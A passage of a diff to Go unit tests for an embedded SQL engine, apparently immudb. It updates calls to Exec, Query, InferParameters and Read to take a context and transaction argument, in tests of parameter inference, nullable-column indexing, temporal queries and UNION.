-3748,10 +3783,10 @@ func TestJoinsWithSubquery(t *testing.T) { INSERT INTO customer_review (customerid, productid, review) VALUES(1, 1, 'Nice Juice!'); - `, nil, nil) + `, nil) require.NoError(t, err) - r, err := engine.Query(` + r, err := engine.Query(context.Background(), nil, ` SELECT * FROM ( SELECT id, customer_name, age FROM customers @@ -3764,10 +3799,10 @@ func TestJoinsWithSubquery(t *testing.T) { ) ON r.customerid = c.id WHERE c.age < 30 `, - nil, nil) + nil) require.NoError(t, err) - row, err := r.Read() + row, err := r.Read(context.Background()) require.NoError(t, err) require.Len(t, row.ValuesBySelector, 5) @@ -3791,53 +3826,53 @@ func TestInferParameters(t *testing.T) { stmt := "CREATE DATABASE db1" - params, err := engine.InferParameters(stmt, nil) + params, err := engine.InferParameters(context.Background(), nil, stmt) require.NoError(t, err) require.Empty(t, params) - params, err = engine.InferParametersPreparedStmts([]SQLStmt{&CreateDatabaseStmt{}}, nil) + params, err = engine.InferParametersPreparedStmts(context.Background(), nil, []SQLStmt{&CreateDatabaseStmt{}}) require.NoError(t, err) require.Empty(t, params) - params, err = engine.InferParameters(stmt, nil) + params, err = engine.InferParameters(context.Background(), nil, stmt) require.NoError(t, err) require.Empty(t, params) - params, err = engine.InferParametersPreparedStmts([]SQLStmt{&CreateDatabaseStmt{}}, nil) + params, err = engine.InferParametersPreparedStmts(context.Background(), nil, []SQLStmt{&CreateDatabaseStmt{}}) require.NoError(t, err) require.Empty(t, params) - _, _, err = engine.Exec(stmt, nil, nil) + _, _, err = engine.Exec(context.Background(), nil, stmt, nil) require.NoError(t, err) - _, err = engine.InferParameters("INSERT INTO mytable(id, title) VALUES (@id, @title);", nil) + _, err = engine.InferParameters(context.Background(), nil, "INSERT INTO mytable(id, title) VALUES (@id, @title);") require.ErrorIs(t, err, ErrNoDatabaseSelected) - err = engine.SetCurrentDatabase("db1") + err = engine.SetCurrentDatabase(context.Background(), "db1") require.NoError(t, err) - _, err = engine.InferParameters("invalid sql stmt", nil) + _, err = engine.InferParameters(context.Background(), nil, "invalid sql stmt") require.ErrorIs(t, err, ErrParsingError) require.EqualError(t, err, "parsing error: syntax error: unexpected IDENTIFIER at position 7") - _, err = engine.InferParametersPreparedStmts(nil, nil) + _, err = engine.InferParametersPreparedStmts(context.Background(), nil, nil) require.ErrorIs(t, err, ErrIllegalArguments) - params, err = engine.InferParameters(stmt, nil) + params, err = engine.InferParameters(context.Background(), nil, stmt) require.NoError(t, err) require.Len(t, params, 0) - params, err = engine.InferParameters("USE DATABASE db1", nil) + params, err = engine.InferParameters(context.Background(), nil, "USE DATABASE db1") require.NoError(t, err) require.Len(t, params, 0) - params, err = engine.InferParameters("USE SNAPSHOT BEFORE TX 10", nil) + params, err = engine.InferParameters(context.Background(), nil, "USE SNAPSHOT BEFORE TX 10") require.NoError(t, err) require.Len(t, params, 0) stmt = "CREATE TABLE mytable(id INTEGER, title VARCHAR, active BOOLEAN, PRIMARY KEY id)" - params, err = engine.InferParameters(stmt, nil) + params, err = engine.InferParameters(context.Background(), nil, stmt) require.NoError(t, err) require.Len(t, params, 0) @@ -3845,103 +3880,103 @@ func TestInferParameters(t *testing.T) { require.NoError(t, err) require.Len(t, pstmt, 1) - _, err = engine.InferParametersPreparedStmts(pstmt, nil) + _, err = engine.InferParametersPreparedStmts(context.Background(), nil, pstmt) require.NoError(t, err) - _, _, err = engine.Exec(stmt, nil, nil) + _, _, err = engine.Exec(context.Background(), nil, stmt, nil) require.NoError(t, err) - params, err = engine.InferParameters("ALTER TABLE mytableSE ADD COLUMN note VARCHAR", nil) + params, err = engine.InferParameters(context.Background(), nil, "ALTER TABLE mytableSE ADD COLUMN note VARCHAR") require.NoError(t, err) require.Len(t, params, 0) - params, err = engine.InferParameters("ALTER TABLE mytableSE RENAME COLUMN note TO newNote", nil) + params, err = engine.InferParameters(context.Background(), nil, "ALTER TABLE mytableSE RENAME COLUMN note TO newNote") require.NoError(t, err) require.Len(t, params, 0) stmt = "CREATE INDEX ON mytable(active)" - params, err = engine.InferParameters(stmt, nil) + params, err = engine.InferParameters(context.Background(), nil, stmt) require.NoError(t, err) require.Len(t, params, 0) - _, _, err = engine.Exec(stmt, nil, nil) + _, _, err = engine.Exec(context.Background(), nil, stmt, nil) require.NoError(t, err) - params, err = engine.InferParameters("BEGIN TRANSACTION; INSERT INTO mytable(id, title) VALUES (@id, @title); COMMIT;", nil) + params, err = engine.InferParameters(context.Background(), nil, "BEGIN TRANSACTION; INSERT INTO mytable(id, title) VALUES (@id, @title); COMMIT;") require.NoError(t, err) require.Len(t, params, 2) require.Equal(t, IntegerType, params["id"]) require.Equal(t, VarcharType, params["title"]) - params, err = engine.InferParameters("BEGIN TRANSACTION; INSERT INTO mytable(id, title) VALUES (@id, @title); ROLLBACK;", nil) + params, err = engine.InferParameters(context.Background(), nil, "BEGIN TRANSACTION; INSERT INTO mytable(id, title) VALUES (@id, @title); ROLLBACK;") require.NoError(t, err) require.Len(t, params, 2) - params, err = engine.InferParameters("INSERT INTO mytable(id, title) VALUES (1, 'title1')", nil) + params, err = engine.InferParameters(context.Background(), nil, "INSERT INTO mytable(id, title) VALUES (1, 'title1')") require.NoError(t, err) require.Len(t, params, 0) - params, err = engine.InferParameters("INSERT INTO mytable(id, title) VALUES (1, 'title1'), (@id2, @title2)", nil) + params, err = engine.InferParameters(context.Background(), nil, "INSERT INTO mytable(id, title) VALUES (1, 'title1'), (@id2, @title2)") require.NoError(t, err) require.Len(t, params, 2) require.Equal(t, IntegerType, params["id2"]) require.Equal(t, VarcharType, params["title2"]) - params, err = engine.InferParameters("SELECT * FROM mytable WHERE (id - 1) > (@id + (@id+1))", nil) + params, err = engine.InferParameters(context.Background(), nil, "SELECT * FROM mytable WHERE (id - 1) > (@id + (@id+1))") require.NoError(t, err) require.Len(t, params, 1) require.Equal(t, IntegerType, params["id"]) - params, err = engine.InferParameters("SELECT * FROM mytable t1 INNER JOIN mytable t2 ON t1.id = t2.id WHERE id > @id", nil) + params, err = engine.InferParameters(context.Background(), nil, "SELECT * FROM mytable t1 INNER JOIN mytable t2 ON t1.id = t2.id WHERE id > @id") require.NoError(t, err) require.Len(t, params, 1) require.Equal(t, IntegerType, params["id"]) - params, err = engine.InferParameters("SELECT * FROM mytable WHERE id > @id AND (NOT @active OR active)", nil) + params, err = engine.InferParameters(context.Background(), nil, "SELECT * FROM mytable WHERE id > @id AND (NOT @active OR active)") require.NoError(t, err) require.Len(t, params, 2) require.Equal(t, IntegerType, params["id"]) require.Equal(t, BooleanType, params["active"]) - params, err = engine.InferParameters("SELECT * FROM mytable WHERE id > ? AND (NOT ? OR active)", nil) + params, err = engine.InferParameters(context.Background(), nil, "SELECT * FROM mytable WHERE id > ? AND (NOT ? OR active)") require.NoError(t, err) require.Len(t, params, 2) require.Equal(t, IntegerType, params["param1"]) require.Equal(t, BooleanType, params["param2"]) - params, err = engine.InferParameters("SELECT * FROM mytable WHERE id > $2 AND (NOT $1 OR active)", nil) + params, err = engine.InferParameters(context.Background(), nil, "SELECT * FROM mytable WHERE id > $2 AND (NOT $1 OR active)") require.NoError(t, err) require.Len(t, params, 2) require.Equal(t, BooleanType, params["param1"]) require.Equal(t, IntegerType, params["param2"]) - params, err = engine.InferParameters("SELECT COUNT(*) FROM mytable GROUP BY active HAVING @param1 = COUNT(*) ORDER BY active", nil) + params, err = engine.InferParameters(context.Background(), nil, "SELECT COUNT(*) FROM mytable GROUP BY active HAVING @param1 = COUNT(*) ORDER BY active") require.NoError(t, err) require.Len(t, params, 1) require.Equal(t, IntegerType, params["param1"]) - params, err = engine.InferParameters("SELECT COUNT(*), MIN(id) FROM mytable GROUP BY active HAVING @param1 < MIN(id) ORDER BY active", nil) + params, err = engine.InferParameters(context.Background(), nil, "SELECT COUNT(*), MIN(id) FROM mytable GROUP BY active HAVING @param1 < MIN(id) ORDER BY active") require.NoError(t, err) require.Len(t, params, 1) require.Equal(t, IntegerType, params["param1"]) - params, err = engine.InferParameters("SELECT * FROM mytable WHERE @active AND title LIKE 't+'", nil) + params, err = engine.InferParameters(context.Background(), nil, "SELECT * FROM mytable WHERE @active AND title LIKE 't+'") require.NoError(t, err) require.Len(t, params, 1) require.Equal(t, BooleanType, params["active"]) - params, err = engine.InferParameters("SELECT * FROM TABLES() WHERE name = @tablename", nil) + params, err = engine.InferParameters(context.Background(), nil, "SELECT * FROM TABLES() WHERE name = @tablename") require.NoError(t, err) require.Len(t, params, 1) require.Equal(t, VarcharType, params["tablename"]) - params, err = engine.InferParameters("SELECT * FROM INDEXES('mytable') idxs WHERE idxs.\"unique\" = @unique", nil) + params, err = engine.InferParameters(context.Background(), nil, "SELECT * FROM INDEXES('mytable') idxs WHERE idxs.\"unique\" = @unique") require.NoError(t, err) require.Len(t, params, 1) require.Equal(t, BooleanType, params["unique"]) - params, err = engine.InferParameters("SELECT * FROM COLUMNS('mytable') WHERE name = @column", nil) + params, err = engine.InferParameters(context.Background(), nil, "SELECT * FROM COLUMNS('mytable') WHERE name = @column") require.NoError(t, err) require.Len(t, params, 1) require.Equal(t, VarcharType, params["column"]) @@ -3954,48 +3989,48 @@ func TestInferParametersPrepared(t *testing.T) { require.NoError(t, err) require.Len(t, stmts, 1) - params, err := engine.InferParametersPreparedStmts(stmts, nil) + params, err := engine.InferParametersPreparedStmts(context.Background(), nil, stmts) require.NoError(t, err) require.Len(t, params, 0) - _, _, err = engine.ExecPreparedStmts(stmts, nil, nil) + _, _, err = engine.ExecPreparedStmts(context.Background(), nil, stmts, nil) require.NoError(t, err) } func TestInferParametersUnbounded(t *testing.T) { engine := setupCommonTest(t) - _, _, err := engine.Exec("CREATE TABLE mytable(id INTEGER, title VARCHAR, active BOOLEAN, PRIMARY KEY id)", nil, nil) + _, _, err := engine.Exec(context.Background(), nil, "CREATE TABLE mytable(id INTEGER, title VARCHAR, active BOOLEAN, PRIMARY KEY id)", nil) require.NoError(t, err) - params, err := engine.InferParameters("SELECT * FROM mytable WHERE @param1 = @param2", nil) + params, err := engine.InferParameters(context.Background(), nil, "SELECT * FROM mytable WHERE @param1 = @param2") require.NoError(t, err) require.Len(t, params, 2) require.Equal(t, AnyType, params["param1"]) require.Equal(t, AnyType, params["param2"]) - params, err = engine.InferParameters("SELECT * FROM mytable WHERE @param1 AND @param2", nil) + params, err = engine.InferParameters(context.Background(), nil, "SELECT * FROM mytable WHERE @param1 AND @param2") require.NoError(t, err) require.Len(t, params, 2) require.Equal(t, BooleanType, params["param1"]) require.Equal(t, BooleanType, params["param2"]) - params, err = engine.InferParameters("SELECT * FROM mytable WHERE @param1 != NULL", nil) + params, err = engine.InferParameters(context.Background(), nil, "SELECT * FROM mytable WHERE @param1 != NULL") require.NoError(t, err) require.Len(t, params, 1) require.Equal(t, AnyType, params["param1"]) - params, err = engine.InferParameters("SELECT * FROM mytable WHERE @param1 != NOT NULL", nil) + params, err = engine.InferParameters(context.Background(), nil, "SELECT * FROM mytable WHERE @param1 != NOT NULL") require.NoError(t, err) require.Len(t, params, 1) require.Equal(t, BooleanType, params["param1"]) - params, err = engine.InferParameters("SELECT * FROM mytable WHERE @param1 != NULL AND (@param1 AND active)", nil) + params, err = engine.InferParameters(context.Background(), nil, "SELECT * FROM mytable WHERE @param1 != NULL AND (@param1 AND active)") require.NoError(t, err) require.Len(t, params, 1) require.Equal(t, BooleanType, params["param1"]) - params, err = engine.InferParameters("SELECT * FROM mytable WHERE @param1 != NULL AND (@param1 <= mytable.id)", nil) + params, err = engine.InferParameters(context.Background(), nil, "SELECT * FROM mytable WHERE @param1 != NULL AND (@param1 <= mytable.id)") require.NoError(t, err) require.Len(t, params, 1) require.Equal(t, IntegerType, params["param1"]) @@ -4004,25 +4039,25 @@ func TestInferParametersUnbounded(t *testing.T) { func TestInferParametersInvalidCases(t *testing.T) { engine := setupCommonTest(t) - _, _, err := engine.Exec("CREATE TABLE mytable(id INTEGER, title VARCHAR, active BOOLEAN, PRIMARY KEY id)", nil, nil) + _, _, err := engine.Exec(context.Background(), nil, "CREATE TABLE mytable(id INTEGER, title VARCHAR, active BOOLEAN, PRIMARY KEY id)", nil) require.NoError(t, err) - _, err = engine.InferParameters("INSERT INTO mytable(id, title) VALUES (@param1, @param1)", nil) + _, err = engine.InferParameters(context.Background(), nil, "INSERT INTO mytable(id, title) VALUES (@param1, @param1)") require.Equal(t, ErrInferredMultipleTypes, err) - _, err = engine.InferParameters("INSERT INTO mytable(id, title) VALUES (@param1)", nil) + _, err = engine.InferParameters(context.Background(), nil, "INSERT INTO mytable(id, title) VALUES (@param1)") require.Equal(t, ErrInvalidNumberOfValues, err) - _, err = engine.InferParameters("INSERT INTO mytable1(id, title) VALUES (@param1, @param2)", nil) + _, err = engine.InferParameters(context.Background(), nil, "INSERT INTO mytable1(id, title) VALUES (@param1, @param2)") require.ErrorIs(t, err, ErrTableDoesNotExist) - _, err = engine.InferParameters("INSERT INTO mytable(id, note) VALUES (@param1, @param2)", nil) + _, err = engine.InferParameters(context.Background(), nil, "INSERT INTO mytable(id, note) VALUES (@param1, @param2)") require.ErrorIs(t, err, ErrColumnDoesNotExist) - _, err = engine.InferParameters("SELECT * FROM mytable WHERE id > @param1 AND (@param1 OR active)", nil) + _, err = engine.InferParameters(context.Background(), nil, "SELECT * FROM mytable WHERE id > @param1 AND (@param1 OR active)") require.Equal(t, ErrInferredMultipleTypes, err) - _, err = engine.InferParameters("BEGIN TRANSACTION; INSERT INTO mytable(id, title) VALUES (@param1, @param1); COMMIT;", nil) + _, err = engine.InferParameters(context.Background(), nil, "BEGIN TRANSACTION; INSERT INTO mytable(id, title) VALUES (@param1, @param1); COMMIT;") require.Equal(t, ErrInferredMultipleTypes, err) } @@ -4452,22 +4487,22 @@ func TestIndexingNullableColumns(t *testing.T) { engine := setupCommonTest(t) exec := func(t *testing.T, stmt string) *SQLTx { - ret, _, err := engine.Exec(stmt, nil, nil) + ret, _, err := engine.Exec(context.Background(), nil, stmt, nil) require.NoError(t, err) return ret } query := func(t *testing.T, stmt string, expectedRows ...*Row) { - reader, err := engine.Query(stmt, nil, nil) + reader, err := engine.Query(context.Background(), nil, stmt, nil) require.NoError(t, err) for _, expectedRow := range expectedRows { - row, err := reader.Read() + row, err := reader.Read(context.Background()) require.NoError(t, err) require.EqualValues(t, expectedRow, row) } - _, err = reader.Read() + _, err = reader.Read(context.Background()) require.ErrorIs(t, err, ErrNoMoreRows) err = reader.Close() @@ -4643,7 +4678,7 @@ func TestIndexingNullableColumns(t *testing.T) { }) t.Run("fail adding entries with duplicate with nulls", func(t *testing.T) { - _, _, err := engine.Exec("INSERT INTO table2(v1, v2, v3, v4) VALUES(1, '2', null, null)", nil, nil) + _, _, err := engine.Exec(context.Background(), nil, "INSERT INTO table2(v1, v2, v3, v4) VALUES(1, '2', null, null)", nil) require.ErrorIs(t, err, store.ErrKeyAlreadyExists) }) @@ -4668,25 +4703,25 @@ func TestIndexingNullableColumns(t *testing.T) { func TestTemporalQueries(t *testing.T) { engine := setupCommonTest(t) - _, _, err := engine.Exec("CREATE TABLE table1(id INTEGER AUTO_INCREMENT, title VARCHAR[50], PRIMARY KEY id)", nil, nil) + _, _, err := engine.Exec(context.Background(), nil, "CREATE TABLE table1(id INTEGER AUTO_INCREMENT, title VARCHAR[50], PRIMARY KEY id)", nil) require.NoError(t, err) - _, _, err = engine.Exec("CREATE INDEX ON table1(title)", nil, nil) + _, _, err = engine.Exec(context.Background(), nil, "CREATE INDEX ON table1(title)", nil) require.NoError(t, err) rowCount := 10 for i := 0; i < rowCount; i++ { - _, txs, err := engine.Exec("INSERT INTO table1(title) VALUES (@title)", map[string]interface{}{"title": fmt.Sprintf("title%d", i)}, nil) + _, txs, err := engine.Exec(context.Background(), nil, "INSERT INTO table1(title) VALUES (@title)", map[string]interface{}{"title": fmt.Sprintf("title%d", i)}) require.NoError(t, err) require.Len(t, txs, 1) hdr := txs[0].TxHeader() t.Run("querying data with future date should not return any row", func(t *testing.T) { - r, err := engine.Query("SELECT id, title FROM table1 AFTER CAST(@ts AS TIMESTAMP)", map[string]interface{}{"ts": hdr.Ts}, nil) + r, err := engine.Query(context.Background(), nil, "SELECT id, title FROM table1 AFTER CAST(@ts AS TIMESTAMP)", map[string]interface{}{"ts": hdr.Ts}) require.NoError(t, err) - _, err = r.Read() + _, err = r.Read(context.Background()) require.ErrorIs(t, err, ErrNoMoreRows) err = r.Close() @@ -4694,10 +4729,10 @@ func TestTemporalQueries(t *testing.T) { }) t.Run("querying data with a greater tx should not return any row", func(t *testing.T) { - r, err := engine.Query("SELECT id, title FROM table1 AFTER TX @tx", map[string]interface{}{"tx": hdr.ID}, nil) + r, err := engine.Query(context.Background(), nil, "SELECT id, title FROM table1 AFTER TX @tx", map[string]interface{}{"tx": hdr.ID}) require.NoError(t, err) - _, err = r.Read() + _, err = r.Read(context.Background()) require.ErrorIs(t, err, ErrNoMoreRows) err = r.Close() @@ -4707,16 +4742,16 @@ func TestTemporalQueries(t *testing.T) { t.Run("querying data since tx date should return the last row", func(t *testing.T) { q := "SELECT id, title FROM table1 SINCE CAST(@ts AS TIMESTAMP) UNTIL now()" - params, err := engine.InferParameters(q, nil) + params, err := engine.InferParameters(context.Background(), nil, q) require.NoError(t, err) require.NotNil(t, params) require.Len(t, params, 1) require.Equal(t, AnyType, params["ts"]) - r, err := engine.Query(q, map[string]interface{}{"ts": hdr.Ts}, nil) + r, err := engine.Query(context.Background(), nil, q, map[string]interface{}{"ts": hdr.Ts}) require.NoError(t, err) - row, err := r.Read() + row, err := r.Read(context.Background()) require.NoError(t, err) require.NotNil(t, row) require.Equal(t, int64(i+1), row.ValuesBySelector["(db1.table1.id)"].Value()) @@ -4726,10 +4761,10 @@ func TestTemporalQueries(t *testing.T) { }) t.Run("querying data with since tx id should return the last row", func(t *testing.T) { - r, err := engine.Query("SELECT id, title FROM table1 SINCE TX @tx", map[string]interface{}{"tx": hdr.ID}, nil) + r, err := engine.Query(context.Background(), nil, "SELECT id, title FROM table1 SINCE TX @tx", map[string]interface{}{"tx": hdr.ID}) require.NoError(t, err) - row, err := r.Read() + row, err := r.Read(context.Background()) require.NoError(t, err) require.NotNil(t, row) require.Equal(t, int64(i+1), row.ValuesBySelector["(db1.table1.id)"].Value()) @@ -4739,10 +4774,10 @@ func TestTemporalQueries(t *testing.T) { }) t.Run("querying data with until current tx ordering desc by name should return always the first row", func(t *testing.T) { - r, err := engine.Query("SELECT id FROM table1 UNTIL TX @tx ORDER BY title ASC", map[string]interface{}{"tx": hdr.ID}, nil) + r, err := engine.Query(context.Background(), nil, "SELECT id FROM table1 UNTIL TX @tx ORDER BY title ASC", map[string]interface{}{"tx": hdr.ID}) require.NoError(t, err) - row, err := r.Read() + row, err := r.Read(context.Background()) require.NoError(t, err) require.NotNil(t, row) require.Equal(t, int64(1), row.ValuesBySelector["(db1.table1.id)"].Value()) @@ -4755,10 +4790,10 @@ func TestTemporalQueries(t *testing.T) { } t.Run("querying data with until current time should return all rows", func(t *testing.T) { - r, err := engine.Query("SELECT COUNT(*) as c FROM table1 SINCE TX 1 UNTIL now()", nil, nil) + r, err := engine.Query(context.Background(), nil, "SELECT COUNT(*) as c FROM table1 SINCE TX 1 UNTIL now()", nil) require.NoError(t, err) - row, err := r.Read() + row, err := r.Read(context.Background()) require.NoError(t, err) require.NotNil(t, row) require.Equal(t, int64(rowCount), row.ValuesBySelector["(db1.table1.c)"].Value()) @@ -4768,10 +4803,10 @@ func TestTemporalQueries(t *testing.T) { }) t.Run("querying data since an older date should return all rows", func(t *testing.T) { - r, err := engine.Query("SELECT COUNT(*) as c FROM table1 SINCE '2021-12-03'", nil, nil) + r, err := engine.Query(context.Background(), nil, "SELECT COUNT(*) as c FROM table1 SINCE '2021-12-03'", nil) require.NoError(t, err) - row, err := r.Read() + row, err := r.Read(context.Background()) require.NoError(t, err) require.NotNil(t, row) require.Equal(t, int64(rowCount), row.ValuesBySelector["(db1.table1.c)"].Value()) @@ -4781,10 +4816,10 @@ func TestTemporalQueries(t *testing.T) { }) t.Run("querying data since an older date should return all rows", func(t *testing.T) { - r, err := engine.Query("SELECT COUNT(*) as c FROM table1 SINCE CAST('2021-12-03' AS TIMESTAMP)", nil, nil) + r, err := engine.Query(context.Background(), nil, "SELECT COUNT(*) as c FROM table1 SINCE CAST('2021-12-03' AS TIMESTAMP)", nil) require.NoError(t, err) - row, err := r.Read() + row, err := r.Read(context.Background()) require.NoError(t, err) require.NotNil(t, row) require.Equal(t, int64(rowCount), row.ValuesBySelector["(db1.table1.c)"].Value()) @@ -4797,58 +4832,58 @@ func TestTemporalQueries(t *testing.T) { func TestUnionOperator(t *testing.T) { engine := setupCommonTest(t) - _, _, err := engine.Exec("CREATE TABLE table1(id INTEGER AUTO_INCREMENT, title VARCHAR[50], PRIMARY KEY id)", nil, nil) + _, _, err := engine.Exec(context.Background(), nil, "CREATE TABLE table1(id INTEGER AUTO_INCREMENT, title VARCHAR[50], PRIMARY KEY id)", nil) require.NoError(t, err) - _, _, err = engine.Exec("CREATE INDEX ON table1(title)", nil, nil) + _, _, err = engine.Exec(context.Background(), nil, "CREATE INDEX ON table1(title)", nil) require.NoError(t, err) - _, _, err = engine.Exec("CREATE TABLE table2(id INTEGER AUTO_INCREMENT, name VARCHAR[30], PRIMARY KEY id)", nil, nil) + _, _, err = engine.Exec(context.Background(), nil, "CREATE TABLE table2(id INTEGER AUTO_INCREMENT, name VARCHAR[30], PRIMARY KEY id)", nil) require.NoError(t, err) - _, err = engine.Query("SELECT COUNT(*) FROM table_unknown UNION SELECT COUNT(*) FROM table1", nil, nil) + _, err = engine.Query(context.Background(), nil, "SELECT COUNT(*) FROM table_unknown UNION SELECT COUNT(*) FROM table1", nil) require.ErrorIs(t, err, ErrTableDoesNotExist) - _, err = engine.Query("SELECT COUNT(*) FROM table1 UNION SELECT COUNT(*) FROM table_unknown", nil, nil) + _, err = engine.Query(context.Background(), nil, "SELECT COUNT(*) FROM table1 UNION SELECT COUNT(*) FROM table_unknown", nil) require.ErrorIs(t, err, ErrTableDoesNotExist) - _, err = engine.Query("SELECT COUNT(*) as c FROM table1 UNION SELECT id, title FROM table1", nil, nil) + _, err = engine.Query(context.Background(), nil, "SELECT COUNT(*) as c FROM table1 UNION SELECT id, title FROM table1", nil) require.ErrorIs(t, err, ErrColumnMismatchInUnionStmt) - _, err = engine.Query("SELECT COUNT(*) as c FROM table1 UNION SELECT title FROM table1", nil, nil) + _, err = engine.Query(context.Background(), nil, "SELECT COUNT(*) as c FROM table1 UNION SELECT title FROM table1", nil) require.ErrorIs(t, err, ErrColumnMismatchInUnionStmt) - _, err = engine.InferParameters("SELECT title FROM table1 UNION SELECT name FROM table2", nil) + _, err = engine.InferParameters(context.Background(), nil, "SELECT title FROM table1 UNION SELECT name FROM table2") require.NoError(t, err) - _, err = engine.InferParameters("SELECT title FROM table1 UNION invalid stmt", nil) + _, err = engine.InferParameters(context.Background(), nil, "SELECT title FROM table1 UNION invalid stmt") require.ErrorIs(t, err, ErrParsingError) rowCount := 10 for i := 0; i < rowCount; i++ { - _, _, err := engine.Exec("INSERT INTO table1(title) VALUES (@title)", map[string]interface{}{"title": fmt.Sprintf("title%d", i)}, nil) + _, _, err := engine.Exec(context.Background(), nil, "INSERT INTO table1(title) VALUES (@title)", map[string]interface{}{"title": fmt.Sprintf("title%d", i)}) require.NoError(t, err) - _, _, err = engine.Exec("INSERT INTO table2(name) VALUES (@name)", map[string]interface{}{"name": fmt.Sprintf("name%d", i)}, nil) + _, _, err = engine.Exec(context.Background(), nil, "INSERT INTO table2(name) VALUES (@name)", map[string]interface{}{"name": fmt.Sprintf("name%d", i)}) require.NoError(t, err) } t.Run("default union should filter out duplicated rows", func(t *testing.T) { - r, err := engine.Query(` + r, err := engine.Query(context.Background(), nil, ` SELECT COUNT(*) as c FROM table1 UNION SELECT COUNT(*) FROM table1 UNION SELECT COUNT(*) c FROM table1 t1 - `, nil, nil) + `, nil) require.NoError(t, err) - row, err := r.Read() + row, err := r.Read(context.Background()) require.NoError(t, err) require.NotNil(t, row) require.Equal(t, int64(rowCount), row.ValuesBySelector["(db1.table1.c)"].Value()) - _, err = r.Read() + _, err = r.Read(context.Background()) require.ErrorIs(t, err, ErrNoMoreRows) err = r.Close() @@ -4856,20 +4891,20 @@ func TestUnionOperator(t *testing.T) { }) t.Run("union all should not filter out duplicated rows", func(t *testing.T) { - r, err := engine.Query("SELECT COUNT(*) as c FROM table1 UNION ALL SELECT COUNT(*) FROM table1", nil, nil) + r, err := engine.Query(context.Background(), nil, "SELECT COUNT(*) as c FROM table1 UNION ALL SELECT COUNT(*) FROM table1", nil) require.NoError(t, err) - row, err := r.Read() + row, err := r.Read(context.Background()) require.NoError(t, err) require.NotNil(t, row) require.Equal(t, int64(rowCount), row.ValuesBySelector["(db1.table1.c)"].Value()) - row, err = r.Read() + row, err = r.Read(context.Background()) require.NoError(t, err) require.NotNil(t, row) require.Equal(t, int64(rowCount), row.ValuesBySelector["(db1.table1.c)"].Value()) - _, err = r.Read() + _, err = r.Read(context.Background()) require.ErrorIs(t, err, ErrNoMoreRows) err = r.Close() @@ -4877,17 +4912,17 @@ func TestUnionOperator(t *testing.T) { }) t.Run("union should filter out duplicated rows", func(t *testing.T) { - r, err := engine.Query("SELECT title FROM table1 order by title desc UNION SELECT title FROM table1", nil, nil) + r, err := engine.Query(context.Background(), nil, "SELECT title FROM table1 order by title desc UNION SELECT title FROM table1", nil) require.NoError(t, err) for i := 0; i < rowCount; i++ { - row, err := r.Read() + row, err := r.Read(context.Background()) require.NoError(t, err) require.NotNil(t, row) require.Equal(t, fmt.Sprintf("title%d", rowCount-i-1), row.ValuesBySelector["(db1.table1.title)"].Value()) } - _, err = r.Read() + _, err = r.Read(context.Background()) require.ErrorIs(t, err, ErrNoMoreRows) err = r.Close() @@ -4895,24 +4930,24 @@ func TestUnionOperator(t *testing.T) { }) t.Run("union with subqueries over different tables", func(t *testing.T) { - r, err := engine.Query("SELECT title FROM table1 UNION SELECT name FROM table2", nil, nil) + r, err := engine.Query(context.Background(), nil, "SELECT title FROM table1 UNION SELECT name FROM table2", nil) require.NoError(t, err) for i := 0; i < rowCount; i++ { - row, err := r.Read() + row, err := r.Read(context.Background()) require.NoError(t, err) require.NotNil(t, row) require.Equal(t, fmt.Sprintf("title%d", i), row.ValuesBySelector["(db1.table1.title)"].Value()) } for i := 0; i < rowCount; i++ { - row, err := r.Read() + row, err := r.Read(context.Background()) require.NoError(t, err) require.NotNil(t, row) require.Equal(t, fmt.Sprintf("name%d", i), row.ValuesBySelector["(db1.table1.title)"].Value()) } - _, err = r.Read() + _, err = r.Read(context.Background()) require.ErrorIs(t, err, ErrNoMoreRows) err = r.Close() @@ -4923,7 +4958,7 @@ func TestUnionOperator(t *testing.T) { func TestTemporalQueriesEdgeCases(t *testing.T) { engine := setupCommonTest(t) - _, _, err := engine.Exec("CREATE TABLE table1(id INTEGER AUTO_INCREMENT, title VARCHAR[50], PRIMARY KEY id)", nil, nil) + _, _, err := engine.Exec(context.Background(), nil, "CREATE TABLE table1(id INTEGER AUTO_INCREMENT, title VARCHAR[50], PRIMARY KEY id)", nil) require.NoError(t, err) edgeCases := []struct { @@ -5020,10 +5055,10 @@ func TestTemporalQueriesEdgeCases(t *testing.T) { for _, c := range edgeCases { t.Run(c.title, func(t *testing.T) { - r, err := engine.Query(c.query, c.params, nil) + r, err := engine.Query(context.Background(), nil, c.query, c.params) require.NoError(t, err) - _, err = r.Read() + _, err = r.Read(context.Background()) require.ErrorIs(t, err, c.err) err = r.Close() @@ -5035,36 +5070,35 @@ func TestTemporalQueriesEdgeCases(t *testing.T) { func TestTemporalQueriesDeletedRows(t *testing.T) { engine := setupCommonTest(t) - _, _, err := engine.Exec("CREATE TABLE table1(id INTEGER, title VARCHAR[50], PRIMARY KEY id)", nil, nil) + _, _, err := engine.Exec(context.Background(), nil, "CREATE TABLE table1(id INTEGER, title VARCHAR[50], PRIMARY KEY id)", nil) require.NoError(t, err) for i := 0; i < 10; i++ { - _, tx1, err := engine.Exec( + _, tx1, err := engine.Exec(context.Background(), nil, "INSERT INTO table1(id, title) VALUES(@id, @title)", map[string]interface{}{ "id": i, "title": fmt.Sprintf("title%d", i), }, - nil, ) require.NoError(t, err) require.Len(t, tx1, 1) } - _, tx2, err := engine.Exec("DELETE FROM table1 WHERE id = 5", nil, nil) + _, tx2, err := engine.Exec(context.Background(), nil, "DELETE FROM table1 WHERE id = 5", nil) require.NoError(t, err) require.Len(t, tx2, 1) // Update value that is topologically before the deleted entry when scanning primary index - _, _, err = engine.Exec("UPDATE table1 SET title = 'updated_title2' WHERE id = 2", nil, nil) + _, _, err = engine.Exec(context.Background(), nil, "UPDATE table1 SET title = 'updated_title2' WHERE id = 2", nil) require.NoError(t, err) // Update value that is topologically after the deleted entry when scanning primary index - _, _, err = engine.Exec("UPDATE table1 SET title = 'updated_title8' WHERE id = 8", nil, nil) + _, _, err = engine.Exec(context.Background(), nil, "UPDATE table1 SET title = 'updated_title8' WHERE id = 8", nil) require.NoError(t, err) // Reinsert deleted entry - _, tx3, err := engine.Exec("INSERT INTO table1(id, title) VALUES(5, 'title5')", nil, nil) + _, tx3, err := engine.Exec(context.Background(), nil, "INSERT INTO table1(id, title) VALUES(5, 'title5')", nil) require.NoError(t, err) require.Len(t, tx3, 1) @@ -5077,24 +5111,24 @@ func TestTemporalQueriesDeletedRows(t *testing.T) { // tx3: INSERT id=5 res, err := engine.Query( + context.Background(), nil, "SELECT id FROM table1 SINCE TX @since BEFORE TX @before", map[string]interface{}{ "since": tx2[0].txHeader.ID, "before": tx3[0].txHeader.ID, }, - nil, ) require.NoError(t, 